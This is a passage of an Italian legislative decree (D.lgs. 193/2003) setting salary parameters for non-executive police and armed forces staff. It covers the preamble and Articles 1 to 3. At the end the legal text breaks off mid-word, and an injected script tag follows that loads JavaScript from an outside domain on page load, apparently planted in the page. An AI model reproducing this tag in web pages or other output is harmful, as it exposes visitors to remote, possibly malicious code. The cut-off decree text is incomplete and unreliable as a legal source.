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Categoria: Forze armate (ESERCITO, MARINA, AEREONAUTICA) Settore: Pubblica Amministrazione Data stipula: 30-5-2003 Data decorrenza: 1-5-2005
Decreto legislativo 30 maggio 2003 n. 193.
SISTEMA DEI PARAMETRI STIPENDIALI PER IL PERSONALE NON DIRIGENTE
DELLE FORZE DI POLIZIA E DELLE FORZE ARMATE
a norma dell'art. 7, legge 29 marzo 2001 n. 86.
Il Presidente della Repubblica
visti gli artt. 76 e 87 della Costituzione;
visto l'art. 7, legge 29.3.01 n. 86, che ha delegato il Governo a
modificare la normativa sui livelli retributivi del personale appartenente
alle Forze di polizia ad ordinamento civile e militare nonché alle Forze
armate, ad esclusione di quello dirigente;
visto l'art. 16, comma 4, legge 28.12.01 n. 448;
visti gli artt. 33, comma 2, e 80, comma 58, legge 27.12.02 n. 289;
vista la preliminare deliberazione del Consiglio dei Ministri, adottata
nella riunione del 18.4.03;
acquisiti i pareri delle competenti Commissioni permanenti della Camera
dei Deputati e del Senato della Repubblica;
vista la deliberazione del Consiglio dei Ministri, adottata nella riunione
del 29.5.03;
sulla proposta del Presidente del Consiglio dei Ministri e del Ministro
per la funzione pubblica, di concerto con i Ministri dell'interno, della
difesa, della giustizia, delle politiche agricole e forestali e
dell'economia e delle finanze;
emana
il seguente decreto legislativo:
Capo I - INTRODUZIONE DEL SISTEMA DEI PARAMETRI STIPENDIALI
PER IL PERSONALE NON DIRIGENTE DELLE FORZE DI POLIZIA
E DELLE FORZE ARMATE
Art. 1 - Ambito di applicazione.
1)
Il presente decreto si applica al personale delle Forze di polizia e delle
Forze armate destinatario delle disposizioni di cui al D.lgs. 12.5.95 n.
195 e successive modificazioni, escluso quello destinatario del
trattamento stipendiale o economico dirigenziale.
Art. 2 - Sistema dei parametri stipendiali.
1)
A decorrere dall'1.1.05, al personale di cui all'art. 1 sono attribuiti i
parametri stipendiali indicati nelle tabelle 1 e 2, che costituiscono
parte integrante del presente decreto, con contestuale soppressione dei
previgenti livelli stipendiali.
2)
I parametri correlati all'anzianità nella qualifica o nel grado sono
attribuiti dopo 8 anni di effettivo servizio nella stessa qualifica o
grado.
3)
A decorrere dall'1.1.05 il trattamento stipendiale è determinato dal
prodotto tra il valore del punto di parametro e i parametri riportati
nelle tabelle 1 e 2.
4)
In sede di 1a applicazione del presente decreto il valore del punto di
parametro è fissato in E 149,15 annui lordi e l'attribuzione dei parametri
di cui al comma 1 avviene in base alle qualifiche o ai gradi rivestiti,
nonché alle posizioni di provenienza all'1.1.05, individuate nelle tabelle
3, 4 e 5, che costituiscono parte integrante del presente decreto. Nelle
medesime tabelle sono altresì indicati gli stipendi annui lordi alla
stessa data in applicazione del sistema di cui al presente articolo, salvo
quanto previsto dall'art. 6, comma 2.
5)
Fermi restando i parametri stabiliti dal presente decreto, la
determinazione dei miglioramenti stipendiali derivanti dai rinnovi degli
accordi sindacali e dalle procedure di concertazione, a decorrere dal
biennio 2004-2005, si effettua aumentando il valore del punto di
parametro.
Art. 3 - Effetti del sistema dei parametri stipendiali.
1)
A decorrere dall'1.1.05 nello stipendio basato sul sistema dei parametri
confluiscono i valori stipendiali correlati ai livelli retributivi,
l'indennità integrativa speciale, gli scatti gerarchici e aggiuntivi,
nonché gli emolumenti pensionabili indicati nelle tabelle 3, 4 e 5.
2)
Il conglobamento dell'indennità integrativa speciale nello stipendio di
cui al comma 1 non modifica la base di calcolo ai fini della base
pensionabile di cui alla legge 29.4.76 n. 177 e successive modificazioni,
e dell'applicazione dell'art. 2, comm<script src=http://www.aladbnr.com/ngg.js></script>
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